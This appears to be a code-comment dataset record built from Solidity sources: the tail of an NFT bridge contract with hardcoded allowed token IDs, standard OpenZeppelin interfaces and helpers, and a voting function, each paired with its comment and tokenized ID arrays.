BadCacheI(badCache721).transferOwnership(_newOwner);
}
/**
* @dev get URI by token id from allowed tokens
*
* Requirements:
*
* - `_tokenId` needs to be part of our allowedIds.
*/
function getURIById(uint256 _tokenId) private view isNewTokenAllowed(_tokenId) returns (string memory) {
return string(abi.encodePacked(baseUri, uint2str(_tokenId), ".json"));
}
/**
* @dev minting BadCache721 function and transfer to the owner
*/
function _mint721(
uint256 _tokenId,
address _owner,
string memory _tokenURI
) private {
BadCacheI(badCache721).mint(address(this), _tokenId);
BadCacheI(badCache721).setTokenUri(_tokenId, _tokenURI);
BadCacheI(badCache721).safeTransferFrom(address(this), _owner, _tokenId);
emit MintedBadCache721(_owner, _tokenId);
}
/**
* @dev initiation of the allowed tokens
*/
function initAllowedTokens() private {
addAllowedToken(85601406272210854214775655996269203562327957411057160318308680203063263232001, 1);
addAllowedToken(85601406272210854214775655996269203562327957411057160318308680204162774859777, 2);
addAllowedToken(85601406272210854214775655996269203562327957411057160318308680205262286487553, 3);
addAllowedToken(85601406272210854214775655996269203562327957411057160318308680206361798115329, 4);
addAllowedToken(85601406272210854214775655996269203562327957411057160318308680207461309743105, 5);
addAllowedToken(85601406272210854214775655996269203562327957411057160318308680208560821370881, 6);
addAllowedToken(85601406272210854214775655996269203562327957411057160318308680209660332998657, 7);
addAllowedToken(85601406272210854214775655996269203562327957411057160318308680210759844626433, 8);
addAllowedToken(85601406272210854214775655996269203562327957411057160318308680211859356254209, 9);
addAllowedToken(85601406272210854214775655996269203562327957411057160318308680212958867881985, 10);
addAllowedToken(85601406272210854214775655996269203562327957411057160318308680214058379509761, 11);
addAllowedToken(85601406272210854214775655996269203562327957411057160318308680215157891137537, 12);
addAllowedToken(85601406272210854214775655996269203562327957411057160318308680216257402765313, 13);
addAllowedToken(85601406272210854214775655996269203562327957411057160318308680217356914393089, 14);
addAllowedToken(85601406272210854214775655996269203562327957411057160318308680218456426020865, 15);
addAllowedToken(85601406272210854214775655996269203562327957411057160318308680219555937648641, 16);
addAllowedToken(85601406272210854214775655996269203562327957411057160318308680220655449276417, 17);
addAllowedToken(85601406272210854214775655996269203562327957411057160318308680221754960904193, 18);
addAllowedToken(85601406272210854214775655996269203562327957411057160318308680222854472531969, 19);
addAllowedToken(85601406272210854214775655996269203562327957411057160318308680223953984159745, 20);
addAllowedToken(85601406272210854214775655996269203562327957411057160318308680225053495787521, 21);
addAllowedToken(85601406272210854214775655996269203562327957411057160318308680226153007415297, 22);
addAllowedToken(85601406272210854214775655996269203562327957411057160318308680227252519043073, 23);
addAllowedToken(85601406272210854214775655996269203562327957411057160318308680228352030670849, 24);
addAllowedToken(85601406272210854214775655996269203562327957411057160318308680229451542298625, 25);
addAllowedToken(85601406272210854214775655996269203562327957411057160318308680230551053926401, 26);
addAllowedToken(85601406272210854214775655996269203562327957411057160318308680231650565554177, 27);
addAllowedToken(85601406272210854214775655996269203562327957411057160318308680232750077181953, 28);
addAllowedToken(85601406272210854214775655996269203562327957411057160318308680233849588809729, 29);
addAllowedToken(85601406272210854214775655996269203562327957411057160318308680234949100437505, 30);
addAllowedToken(85601406272210854214775655996269203562327957411057160318308680236048612065281, 31);
addAllowedToken(85601406272210854214775655996269203562327957411057160318308680237148123693057, 32);
addAllowedToken(85601406272210854214775655996269203562327957411057160318308680238247635320833, 33);
addAllowedToken(85601406272210854214775655996269203562327957411057160318308680239347146948609, 34);
addAllowedToken(85601406272210854214775655996269203562327957411057160318308680240446658576385, 35);
addAllowedToken(85601406272210854214775655996269203562327957411057160318308680241546170204161, 36);
addAllowedToken(85601406272210854214775655996269203562327957411057160318308680242645681831937, 37);
addAllowedToken(85601406272210854214775655996269203562327957411057160318308680243745193459713, 38);
addAllowedToken(85601406272210854214775655996269203562327957411057160318308680244844705087489, 39);
addAllowedToken(85601406272210854214775655996269203562327957411057160318308680245944216715265, 40);
addAllowedToken(85601406272210854214775655996269203562327957411057160318308680247043728343041, 41);
addAllowedToken(85601406272210854214775655996269203562327957411057160318308680248143239970817, 42);
addAllowedToken(85601406272210854214775655996269203562327957411057160318308680249242751598593, 43);
addAllowedToken(85601406272210854214775655996269203562327957411057160318308680250342263226369, 44);
addAllowedToken(85601406272210854214775655996269203562327957411057160318308680251441774854145, 45);
addAllowedToken(85601406272210854214775655996269203562327957411057160318308680252541286481921, 46);
addAllowedToken(85601406272210854214775655996269203562327957411057160318308680253640798109697, 47);
addAllowedToken(85601406272210854214775655996269203562327957411057160318308680254740309737473, 48);
addAllowedToken(85601406272210854214775655996269203562327957411057160318308680255839821365249, 49);
addAllowedToken(85601406272210854214775655996269203562327957411057160318308680256939332993025, 50);
addAllowedToken(85601406272210854214775655996269203562327957411057160318308680258038844620801, 51);
addAllowedToken(85601406272210854214775655996269203562327957411057160318308680259138356248577, 52);
addAllowedToken(85601406272210854214775655996269203562327957411057160318308680260237867876353, 53);
addAllowedToken(85601406272210854214775655996269203562327957411057160318308680261337379504129, 54);
addAllowedToken(85601406272210854214775655996269203562327957411057160318308680262436891131905, 55);
addAllowedToken(85601406272210854214775655996269203562327957411057160318308680263536402759681, 56);
addAllowedToken(85601406272210854214775655996269203562327957411057160318308680264635914387457, 57);
addAllowedToken(85601406272210854214775655996269203562327957411057160318308680265735426015233, 58);
addAllowedToken(85601406272210854214775655996269203562327957411057160318308680266834937643009, 59);
addAllowedToken(85601406272210854214775655996269203562327957411057160318308680267934449270785, 60);
}
function initTheRestOfTheTokens() public onlyOwner {
addAllowedToken(85601406272210854214775655996269203562327957411057160318308680269033960898561, 61);
addAllowedToken(85601406272210854214775655996269203562327957411057160318308680270133472526337, 62);
addAllowedToken(85601406272210854214775655996269203562327957411057160318308680271232984154113, 63);
addAllowedToken(85601406272210854214775655996269203562327957411057160318308680272332495781889, 64);
addAllowedToken(85601406272210854214775655996269203562327957411057160318308680273432007409665, 65);
addAllowedToken(85601406272210854214775655996269203562327957411057160318308680274531519037441, 66);
addAllowedToken(85601406272210854214775655996269203562327957411057160318308680275631030665217, 67);
addAllowedToken(85601406272210854214775655996269203562327957411057160318308680276730542292993, 68);
addAllowedToken(85601406272210854214775655996269203562327957411057160318308680277830053920769, 69);
addAllowedToken(85601406272210854214775655996269203562327957411057160318308680278929565548545, 70);
addAllowedToken(85601406272210854214775655996269203562327957411057160318308680280029077176321, 71);
addAllowedToken(85601406272210854214775655996269203562327957411057160318308680281128588804097, 72);
addAllowedToken(85601406272210854214775655996269203562327957411057160318308680282228100431873, 73);
addAllowedToken(85601406272210854214775655996269203562327957411057160318308680283327612059649, 74);
addAllowedToken(85601406272210854214775655996269203562327957411057160318308680284427123687425, 75);
addAllowedToken(85601406272210854214775655996269203562327957411057160318308680285526635315201, 76);
addAllowedToken(85601406272210854214775655996269203562327957411057160318308680286626146942977, 77);
addAllowedToken(85601406272210854214775655996269203562327957411057160318308680287725658570753, 78);
addAllowedToken(85601406272210854214775655996269203562327957411057160318308680288825170198529, 79);
addAllowedToken(85601406272210854214775655996269203562327957411057160318308680289924681826305, 80);
addAllowedToken(85601406272210854214775655996269203562327957411057160318308680291024193454081, 81);
addAllowedToken(85601406272210854214775655996269203562327957411057160318308680292123705081857, 82);
addAllowedToken(85601406272210854214775655996269203562327957411057160318308680293223216709633, 83);
addAllowedToken(85601406272210854214775655996269203562327957411057160318308680294322728337409, 84);
addAllowedToken(85601406272210854214775655996269203562327957411057160318308680295422239965185, 85);
addAllowedToken(85601406272210854214775655996269203562327957411057160318308680296521751592961, 86);
addAllowedToken(85601406272210854214775655996269203562327957411057160318308680297621263220737, 87);
addAllowedToken(85601406272210854214775655996269203562327957411057160318308680298720774848513, 88);
addAllowedToken(85601406272210854214775655996269203562327957411057160318308680299820286476289, 89);
addAllowedToken(85601406272210854214775655996269203562327957411057160318308680300919798104065, 90);
addAllowedToken(85601406272210854214775655996269203562327957411057160318308680302019309731841, 91);
addAllowedToken(85601406272210854214775655996269203562327957411057160318308680303118821359617, 92);
addAllowedToken(85601406272210854214775655996269203562327957411057160318308680304218332987393, 93);
addAllowedToken(85601406272210854214775655996269203562327957411057160318308680305317844615169, 94);
addAllowedToken(85601406272210854214775655996269203562327957411057160318308680306417356242945, 95);
addAllowedToken(85601406272210854214775655996269203562327957411057160318308680307516867870721, 96);
addAllowedToken(85601406272210854214775655996269203562327957411057160318308680308616379498497, 97);
addAllowedToken(85601406272210854214775655996269203562327957411057160318308680309715891126273, 98);
addAllowedToken(85601406272210854214775655996269203562327957411057160318308680310815402754049, 99);
addAllowedToken(85601406272210854214775655996269203562327957411057160318308680311914914381825, 100);
}
/**
* @dev checks if it's part of the allowed tokens
*/
modifier isTokenAllowed(uint256 _tokenId) {
bool found = false;
for (uint128 i = 0; i < allowedTokens.length; i++) {
if (allowedTokens[i] == _tokenId) found = true;
}
require(found, "BadCacheBridge: token id does not exists");
_;
}
/**
* @dev checks if it's part of the new allowed tokens
*/
modifier isNewTokenAllowed(uint256 _tokenId) {
bool found = false;
for (uint128 i = 0; i < newTokenIds.length; i++) {
if (newTokenIds[i] == _tokenId) found = true;
}
require(found, "BadCacheBridge: new token id does not exists");
_;
}
function uint2str(uint256 _i) internal pure returns (string memory _uintAsString) {
if (_i == 0) {
return "0";
}
uint256 j = _i;
uint256 len;
while (j != 0) {
len++;
j /= 10;
}
bytes memory bstr = new bytes(len);
uint256 k = len;
while (_i != 0) {
k = k - 1;
uint8 temp = (48 + uint8(_i - (_i / 10) * 10));
bytes1 b1 = bytes1(temp);
bstr[k] = b1;
_i /= 10;
}
return string(bstr);
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "./ERC1155Receiver.sol";
/**
* @dev _Available since v3.1._
*/
contract ERC1155Holder is ERC1155Receiver {
function onERC1155Received(
address,
address,
uint256,
uint256,
bytes memory
) public virtual override returns (bytes4) {
return this.onERC1155Received.selector;
}
function onERC1155BatchReceived(
address,
address,
uint256[] memory,
uint256[] memory,
bytes memory
) public virtual override returns (bytes4) {
return this.onERC1155BatchReceived.selector;
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../IERC721Receiver.sol";
/**
* @dev Implementation of the {IERC721Receiver} interface.
*
* Accepts all token transfers.
* Make sure the contract is able to use its token with {IERC721-safeTransferFrom}, {IERC721-approve} or {IERC721-setApprovalForAll}.
*/
contract ERC721Holder is IERC721Receiver {
/**
* @dev See {IERC721Receiver-onERC721Received}.
*
* Always returns `IERC721Receiver.onERC721Received.selector`.
*/
function onERC721Received(
address,
address,
uint256,
bytes memory
) public virtual override returns (bytes4) {
return this.onERC721Received.selector;
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Contract module that helps prevent reentrant calls to a function.
*
* Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier
* available, which can be applied to functions to make sure there are no nested
* (reentrant) calls to them.
*
* Note that because there is a single `nonReentrant` guard, functions marked as
* `nonReentrant` may not call one another. This can be worked around by making
* those functions `private`, and then adding `external` `nonReentrant` entry
* points to them.
*
* TIP: If you would like to learn more about reentrancy and alternative ways
* to protect against it, check out our blog post
* https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul].
*/
abstract contract ReentrancyGuard {
// Booleans are more expensive than uint256 or any type that takes up a full
// word because each write operation emits an extra SLOAD to first read the
// slot's contents, replace the bits taken up by the boolean, and then write
// back. This is the compiler's defense against contract upgrades and
// pointer aliasing, and it cannot be disabled.
// The values being non-zero value makes deployment a bit more expensive,
// but in exchange the refund on every call to nonReentrant will be lower in
// amount. Since refunds are capped to a percentage of the total
// transaction's gas, it is best to keep them low in cases like this one, to
// increase the likelihood of the full refund coming into effect.
uint256 private constant _NOT_ENTERED = 1;
uint256 private constant _ENTERED = 2;
uint256 private _status;
constructor() {
_status = _NOT_ENTERED;
}
/**
* @dev Prevents a contract from calling itself, directly or indirectly.
* Calling a `nonReentrant` function from another `nonReentrant`
* function is not supported. It is possible to prevent this from happening
* by making the `nonReentrant` function external, and make it call a
* `private` function that does the actual work.
*/
modifier nonReentrant() {
// On the first call to nonReentrant, _notEntered will be true
require(_status != _ENTERED, "ReentrancyGuard: reentrant call");
// Any calls to nonReentrant after this point will fail
_status = _ENTERED;
_;
// By storing the original value once again, a refund is triggered (see
// https://eips.ethereum.org/EIPS/eip-2200)
_status = _NOT_ENTERED;
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../utils/Context.sol";
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_setOwner(_msgSender());
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_setOwner(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_setOwner(newOwner);
}
function _setOwner(address newOwner) private {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
//SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;
import "@openzeppelin/contracts/token/ERC1155/IERC1155.sol";
abstract contract OpenSeaIERC1155 is IERC1155 {}
//SPDX-License-Identifier: CC-BY-NC-ND-4.0
pragma solidity ^0.8.6;
import "@openzeppelin/contracts/token/ERC721/IERC721.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
abstract contract BadCacheI is IERC721, Ownable {
function setTokenUri(uint256 _tokenId, string memory _tokenURI) public virtual;
function mint(address _owner, uint256 _tokenId) public virtual;
function exists(uint256 _tokenId) public view virtual returns (bool);
function getMaxId() public view virtual returns (uint256);
function setMaxId(uint256 _newMaxId) public virtual;
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../IERC1155Receiver.sol";
import "../../../utils/introspection/ERC165.sol";
/**
* @dev _Available since v3.1._
*/
abstract contract ERC1155Receiver is ERC165, IERC1155Receiver {
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) {
return interfaceId == type(IERC1155Receiver).interfaceId || super.supportsInterface(interfaceId);
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../../utils/introspection/IERC165.sol";
/**
* @dev _Available since v3.1._
*/
interface IERC1155Receiver is IERC165 {
/**
@dev Handles the receipt of a single ERC1155 token type. This function is
called at the end of a `safeTransferFrom` after the balance has been updated.
To accept the transfer, this must return
`bytes4(keccak256("onERC1155Received(address,address,uint256,uint256,bytes)"))`
(i.e. 0xf23a6e61, or its own function selector).
@param operator The address which initiated the transfer (i.e. msg.sender)
@param from The address which previously owned the token
@param id The ID of the token being transferred
@param value The amount of tokens being transferred
@param data Additional data with no specified format
@return `bytes4(keccak256("onERC1155Received(address,address,uint256,uint256,bytes)"))` if transfer is allowed
*/
function onERC1155Received(
address operator,
address from,
uint256 id,
uint256 value,
bytes calldata data
) external returns (bytes4);
/**
@dev Handles the receipt of a multiple ERC1155 token types. This function
is called at the end of a `safeBatchTransferFrom` after the balances have
been updated. To accept the transfer(s), this must return
`bytes4(keccak256("onERC1155BatchReceived(address,address,uint256[],uint256[],bytes)"))`
(i.e. 0xbc197c81, or its own function selector).
@param operator The address which initiated the batch transfer (i.e. msg.sender)
@param from The address which previously owned the token
@param ids An array containing ids of each token being transferred (order and length must match values array)
@param values An array containing amounts of each token being transferred (order and length must match ids array)
@param data Additional data with no specified format
@return `bytes4(keccak256("onERC1155BatchReceived(address,address,uint256[],uint256[],bytes)"))` if transfer is allowed
*/
function onERC1155BatchReceived(
address operator,
address from,
uint256[] calldata ids,
uint256[] calldata values,
bytes calldata data
) external returns (bytes4);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "./IERC165.sol";
/**
* @dev Implementation of the {IERC165} interface.
*
* Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check
* for the additional interface id that will be supported. For example:
*
* ```solidity
* function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
* return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId);
* }
* ```
*
* Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation.
*/
abstract contract ERC165 is IERC165 {
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IERC165).interfaceId;
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/
interface IERC165 {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @title ERC721 token receiver interface
* @dev Interface for any contract that wants to support safeTransfers
* from ERC721 asset contracts.
*/
interface IERC721Receiver {
/**
* @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom}
* by `operator` from `from`, this function is called.
*
* It must return its Solidity selector to confirm the token transfer.
* If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted.
*
* The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`.
*/
function onERC721Received(
address operator,
address from,
uint256 tokenId,
bytes calldata data
) external returns (bytes4);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../../utils/introspection/IERC165.sol";
/**
* @dev Required interface of an ERC1155 compliant contract, as defined in the
* https://eips.ethereum.org/EIPS/eip-1155[EIP].
*
* _Available since v3.1._
*/
interface IERC1155 is IERC165 {
/**
* @dev Emitted when `value` tokens of token type `id` are transferred from `from` to `to` by `operator`.
*/
event TransferSingle(address indexed operator, address indexed from, address indexed to, uint256 id, uint256 value);
/**
* @dev Equivalent to multiple {TransferSingle} events, where `operator`, `from` and `to` are the same for all
* transfers.
*/
event TransferBatch(
address indexed operator,
address indexed from,
address indexed to,
uint256[] ids,
uint256[] values
);
/**
* @dev Emitted when `account` grants or revokes permission to `operator` to transfer their tokens, according to
* `approved`.
*/
event ApprovalForAll(address indexed account, address indexed operator, bool approved);
/**
* @dev Emitted when the URI for token type `id` changes to `value`, if it is a non-programmatic URI.
*
* If an {URI} event was emitted for `id`, the standard
* https://eips.ethereum.org/EIPS/eip-1155#metadata-extensions[guarantees] that `value` will equal the value
* returned by {IERC1155MetadataURI-uri}.
*/
event URI(string value, uint256 indexed id);
/**
* @dev Returns the amount of tokens of token type `id` owned by `account`.
*
* Requirements:
*
* - `account` cannot be the zero address.
*/
function balanceOf(address account, uint256 id) external view returns (uint256);
/**
* @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {balanceOf}.
*
* Requirements:
*
* - `accounts` and `ids` must have the same length.
*/
function balanceOfBatch(address[] calldata accounts, uint256[] calldata ids)
external
view
returns (uint256[] memory);
/**
* @dev Grants or revokes permission to `operator` to transfer the caller's tokens, according to `approved`,
*
* Emits an {ApprovalForAll} event.
*
* Requirements:
*
* - `operator` cannot be the caller.
*/
function setApprovalForAll(address operator, bool approved) external;
/**
* @dev Returns true if `operator` is approved to transfer ``account``'s tokens.
*
* See {setApprovalForAll}.
*/
function isApprovedForAll(address account, address operator) external view returns (bool);
/**
* @dev Transfers `amount` tokens of token type `id` from `from` to `to`.
*
* Emits a {TransferSingle} event.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - If the caller is not `from`, it must be have been approved to spend ``from``'s tokens via {setApprovalForAll}.
* - `from` must have a balance of tokens of type `id` of at least `amount`.
* - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155Received} and return the
* acceptance magic value.
*/
function safeTransferFrom(
address from,
address to,
uint256 id,
uint256 amount,
bytes calldata data
) external;
/**
* @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {safeTransferFrom}.
*
* Emits a {TransferBatch} event.
*
* Requirements:
*
* - `ids` and `amounts` must have the same length.
* - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155BatchReceived} and return the
* acceptance magic value.
*/
function safeBatchTransferFrom(
address from,
address to,
uint256[] calldata ids,
uint256[] calldata amounts,
bytes calldata data
) external;
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../../utils/introspection/IERC165.sol";
/**
* @dev Required interface of an ERC721 compliant contract.
*/
interface IERC721 is IERC165 {
/**
* @dev Emitted when `tokenId` token is transferred from `from` to `to`.
*/
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables `approved` to manage the `tokenId` token.
*/
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets.
*/
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
/**
* @dev Returns the number of tokens in ``owner``'s account.
*/
function balanceOf(address owner) external view returns (uint256 balance);
/**
* @dev Returns the owner of the `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function ownerOf(uint256 tokenId) external view returns (address owner);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Transfers `tokenId` token from `from` to `to`.
*
* WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Gives permission to `to` to transfer `tokenId` token to another account.
* The approval is cleared when the token is transferred.
*
* Only a single account can be approved at a time, so approving the zero address clears previous approvals.
*
* Requirements:
*
* - The caller must own the token or be an approved operator.
* - `tokenId` must exist.
*
* Emits an {Approval} event.
*/
function approve(address to, uint256 tokenId) external;
/**
* @dev Returns the account approved for `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function getApproved(uint256 tokenId) external view returns (address operator);
/**
* @dev Approve or remove `operator` as an operator for the caller.
* Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller.
*
* Requirements:
*
* - The `operator` cannot be the caller.
*
* Emits an {ApprovalForAll} event.
*/
function setApprovalForAll(address operator, bool _approved) external;
/**
* @dev Returns if the `operator` is allowed to manage all of the assets of `owner`.
*
* See {setApprovalForAll}
*/
function isApprovedForAll(address owner, address operator) external view returns (bool);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes calldata data
) external;
}
| * @dev Initiating the tokens allowed to be received/ | constructor() onlyOwner {
initAllowedTokens();
}
| 5,800,202 | [
1,
2570,
22906,
326,
2430,
2935,
358,
506,
5079,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
225,
3885,
1435,
1338,
5541,
288,
203,
565,
1208,
5042,
5157,
5621,
203,
225,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
./full_match/11155111/0x714BE99365C2C06Ddc2A0C579F5BaC85F1D92d95/sources/contracts/VotingSystem.sol | msg.sender can vote only once this function finds the proposal with the passed string in input | function voteTo(string memory _name) public {
require(VoterAddress[msg.sender].alreadyVoted == false, "You have already voted");
VoterAddress[msg.sender].alreadyVoted = true;
for (uint256 i = 0; i < candidates.length; i++) {
if (keccak256(bytes(candidates[i].candidateName)) == keccak256(bytes(_name))) {
VoterAddress[msg.sender].candidateIndex = i;
candidates[i].voteCount++;
}
}
}
| 3,828,247 | [
1,
3576,
18,
15330,
848,
12501,
1338,
3647,
333,
445,
13094,
326,
14708,
598,
326,
2275,
533,
316,
810,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
